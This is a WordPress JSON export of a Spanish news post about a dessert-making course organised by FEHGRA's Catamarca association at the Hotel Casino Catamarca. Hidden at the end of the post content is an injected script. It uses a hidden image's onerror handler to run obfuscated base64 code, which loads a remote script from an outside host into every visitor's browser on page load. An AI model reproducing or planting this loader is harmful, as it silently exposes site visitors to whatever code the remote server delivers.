{"id":14871,"date":"2023-11-23T09:35:07","date_gmt":"2023-11-23T12:35:07","guid":{"rendered":"https:\/\/nubesmgzdigital.com.ar\/?p=14871"},"modified":"2025-08-13T16:05:03","modified_gmt":"2025-08-13T19:05:03","slug":"fehgra-catamarca-organizo-el-curso-postres-al-plato-y-de-cuchara","status":"publish","type":"post","link":"https:\/\/nubesmgzdigital.com.ar\/index.php\/2023\/11\/23\/fehgra-catamarca-organizo-el-curso-postres-al-plato-y-de-cuchara\/","title":{"rendered":"FEHGRA Catamarca organiz\u00f3 el Curso \u201cPostres Al Plato y de Cuchara\u201d"},"content":{"rendered":"\n<h3 class=\"wp-block-heading has-white-color has-text-color has-background has-link-color wp-elements-daba4812d2dd4f538df08ab6b08f65f6\" style=\"background-color:#084d75\"><em>La Asociaci\u00f3n de Hoteles, Bares, Confiter\u00edas, Restaurantes y Afines de Catamarca, presidida por Sebasti\u00e1n C\u00f3rdoba, realiz\u00f3 la \u00faltima capacitaci\u00f3n presencial de 2023. Hubo cupo completo de participantes.<\/em><\/h3>\n\n\n\n<p>El 13 y 14 de noviembre, la Asociaci\u00f3n de Hoteles, Bares, Confiter\u00edas Restaurantes y Afines de Catamarca, entidad asociada a FEHGRA en la provincia, organiz\u00f3 el curso de Postres de Cuchara y al Plato. Fue desarrollado por el Departamento de Capacitaci\u00f3n y Formaci\u00f3n Profesional de la Federaci\u00f3n.<\/p>\n\n\n\n<p>El dictado del curso estuvo a cargo del chef Vicente Campana y tuvo su desarrollo en las instalaciones del Hotel Casino Catamarca, en ciudad capital. Ambas jornadas apuntaron al desarrollo de t\u00e9cnicas b\u00e1sicas a dominar de preparaci\u00f3n, cocci\u00f3n y manipulaci\u00f3n<\/p>\n\n\n\n<p>de manera correcta las materias primas, su almacenamiento y su implementaci\u00f3n, entender cu\u00e1les son los utensilios b\u00e1sicos de cocina y c\u00f3mo utilizarlos.<\/p>\n\n\n\n<p>Las recetas llevadas a la pr\u00e1ctica fueron las siguientes: Dulce Luz, Brisas de Primavera, Volc\u00e1n, Mousse de Frutos Rojos y Ganache de Dulce de Leche, Tropical Aromatizado a la Vainilla, Manjar Rioplatense, Mousse de Malamado y Pasi\u00f3n de Chocolate.<\/p>\n\n\n\n<p>En ambas jornadas, hubo cupo completo de participantes de diferentes establecimientos hoteleros-gastron\u00f3micos de la ciudad.<\/p>\n\n\n\n<p>La Asociaci\u00f3n agradece al staff del Hotel Casino, desde Gerencia a Staff de cocina, por la colaboraci\u00f3n y cordial disposici\u00f3n para la realizaci\u00f3n del evento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><a href=\"https:\/\/fehgra.org.ar\/archivos\/18120\" target=\"_blank\" rel=\"noreferrer noopener\"><img decoding=\"async\" src=\"https:\/\/fehgra.org.ar\/wp-content\/uploads\/2023\/06\/logo-para-header-www.svg\" alt=\"\" style=\"width:199px;height:auto\"\/><\/a><\/figure>\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>La Asociaci\u00f3n de Hoteles, Bares, Confiter\u00edas, Restaurantes y Afines de Catamarca, presidida por Sebasti\u00e1n C\u00f3rdoba, realiz\u00f3 la \u00faltima capacitaci\u00f3n presencial de 2023. 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